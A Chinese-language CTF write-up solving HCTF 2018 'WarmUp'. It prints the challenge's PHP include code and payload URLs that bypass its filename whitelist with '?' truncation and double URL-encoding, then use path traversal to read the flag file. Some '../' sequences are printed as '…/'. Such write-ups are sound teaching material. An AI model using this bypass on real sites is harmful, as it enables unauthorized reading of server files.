[HCTF 2018]WarmUp
知识点:
isset() 函数用于检测变量是否已设置并且非 NULL。
is_string() 函数用于检测变量是否是字符串。
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
in_array() 函数搜索数组中是否存在指定的值。
mb_substr() 函数返回字符串的一部分。
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
解题:
一打开就是一个笑脸。那就读源码吧。
发现问题
访问。
代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
从if条件开始分析代码。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
get/post/cookie提交一个名字为file的参数。if语句有3个条件,条件之间用(&&)连接,只有全部满足才能通过。1.file参数非空。2.file参数是一个字符串。3.file参数能通过emmm类中的checkFile函数。只有通过着3个条件。我们才能包含文件。
前两个条件比较容易满足。就看第三个条件。
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
要想通过条件判断,只能让函数返回值为true
通过类中函数第二个判断语句,我们可以包含hint.php中的内容。
在url后添get参数:?file=hint.php
可以得到flag所在的文件名。
接下来就利用文件包含,读取该文件。
通过分析,构造url:http://7910a240-5f0f-47f8-8b05-97b98c6d8a87.node3.buuoj.cn/source.php?file=source.php?../…/…/…/…/ffffllllaaaagggg
这是利用类中第三个判断语句,source.php可以替换成hint.php。
或者url:http://7910a240-5f0f-47f8-8b05-97b98c6d8a87.node3.buuoj.cn/source.php?file=hint.php%253f…/…/…/…/…/ffffllllaaaagggg
利用第四个判断句,%253f是?经过两次url编码的结果。